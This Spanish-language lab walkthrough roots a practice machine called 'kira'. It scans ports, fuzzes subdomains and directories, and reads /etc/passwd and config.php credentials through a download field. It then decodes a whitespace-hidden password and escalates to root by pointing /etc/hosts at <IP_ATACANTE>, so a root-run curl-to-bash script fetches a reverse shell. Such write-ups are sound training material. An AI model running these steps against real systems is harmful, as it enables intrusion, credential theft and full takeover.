Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-23 06:55 EDT
Nmap scan report for 192.168.5.200
Host is up (0.00023s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 5f:cd:98:ac:0e:76:be:d0:9c:ae:23:47:8d:03:b5:07 (RSA)
| 256 f5:cb:de:f0:89:dc:ff:56:89:44:05:3c:a3:44:8f:70 (ECDSA)
|_ 256 3a:94:cc:9e:aa:ab:7d:64:71:26:49:48:02:07:62:30 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:AD:2C:E8 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.84 seconds
SI nos vamos al puerto 80 e inspeccionamos la pagina, veremos lo siguiente...
Veremos que es un dominio, por lo que lo meteremos en el hosts...
Una vez hecho esto ponemos el dominio en el navegador...
ffuf
Info:
Por lo que vemos, vemos un subdominio llamado welcome...
Por lo que haremos lo siguiente...
Una vez hecho esto volveremos al navegador y pondremos eso...
Gobuster
Info:
Vemos varias cosas interesantes, pero si ponemos /index.php veremos un recuadro pidiendo una URL...
Si en ese espacio metemos por ejemplo /etc/passwd se nos descargara el archivo...
Pero si metemos el /config.php que nos encontramos con gobuster el cual puede contener credenciales, tambien nos lo descargara...
Por lo que vemos nos da unas credenciales...
Si pobramos eso a conectarnos por ssh veremos que son las credenciales validas...
Y metiendo la contraseña ya estariamos dentro...
Si nos vamos a la siguiente ubicacion...
Veremos un archivo llamado MySecretPassword pero si lo vemos con cat solo veremos espacion y nada asi interesante, por lo que podria ser un mensaje codificado en espacios y tiene que ser interpretado mediante un patron...
Info:
Por lo que se ve sigue un patron, por lo que haremos lo siguiente...
Info:
Nos dara esos numeros en hexadecimal por lo que lo pasaremos a ascii de la siguiente forma...
Info:
Por lo que veremos la contraseña del usuario kira es kira2003...
Si hacemos sudo -l veremos lo siguiente...
Podremos ejecutar como bassam el .sh...
Dentro de la carpeta de kira haremos lo siguiente...
Info:
Por lo que ya seriamos el usuario bassam ahora nos importamos una shell mas bonita...
Si hacemos sudo -l veremos lo siguiente...
Podemos ejecutar ese .sh como el usuario root...
Veremos como es por dentro ese script.sh...
Vemos que esta haciendo una llamada con curl a un sitio web que no existe resuelto por un dominio para ver el contenido de ese script.sh pero a la vez esta ejecutando con bash lo que haya en su interior, por lo que si cogemos ese dominio y lo resolvemos para que haga conexion en nuestra maquina con el script malicioso que pongamos lo ejecutara como root...
En nuestra maquina host crearemos el siguiente archivo...
Abrimos un servidor de python3 para que curl lo pueda coger...
Y a la vez estaremos a la escucha...
Si dentro de la maquina victima hacemos lo siguiente...
Veremos que si podemos guardarlo para que cuando se ejecute el script se este ejecutando en nuestra IP de nuestro hosts donde tenemos ese script.sh malicioso con una Reverse Shell...
Info:
Se quedara pensando y si nos vamos a donde teniamos la escucha, veremos que nos hizo una shell con root perfectamente...
nano /tmp/decode.sh
#Dentro del nano
#!/bin/bash
while IFS= read -r line; do
count=$(echo "$line" | grep -o ' ' | wc -l)
if [ "$count" -gt 32 ]; then
# Assuming a basic offset of 32 (for space character in ASCII)
ascii=$((count))
printf "%d " "$ascii"
else
printf "%s" "$line"
fi
done < MySecretPassword
echo
chmod +x /tmp/decode.sh
/tmp/decode.sh
107 105 114 97 50 48 48 51
nano /tmp/ascii.sh
#Dentro del nano
#!/bin/bash
# Números obtenidos
numbers=(107 105 114 97 50 48 48 51)
# Convertir cada número a un carácter
for num in "${numbers[@]}"; do
printf "\\$(printf %o "$num")"
done
echo
chmod +x /tmp/ascii.sh
/tmp/ascii.sh
kira2003
User = kira
Password = kira2003
Matching Defaults entries for kira on kira:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User kira may run the following commands on kira:
(bassam) /home/kira/test.sh
nano shell.sh
#Dentro del nano
#!/bin/bash
/bin/bash
your name
bash
/home/kira/test.sh: 3: /home/kira/test.sh: cannot create /home/kali/message.txt: Directory nonexistent
whoami
bassam
script /dev/null -c bash
Matching Defaults entries for bassam on kira:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bassam may run the following commands on kira:
(root) NOPASSWD: /home/bassam/down.sh
nano /etc/hosts
#Dentro del nano
<IP_ATACANTE> mywebsite.test
sudo /home/bassam/down.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 56 100 56 0 0 3111 0 --:--:-- --:--:-- --:--:-- 3111
connect to [192.168.5.199] from (UNKNOWN) [192.168.5.200] 54748
root@kira:/home/bassam# whoami
whoami
root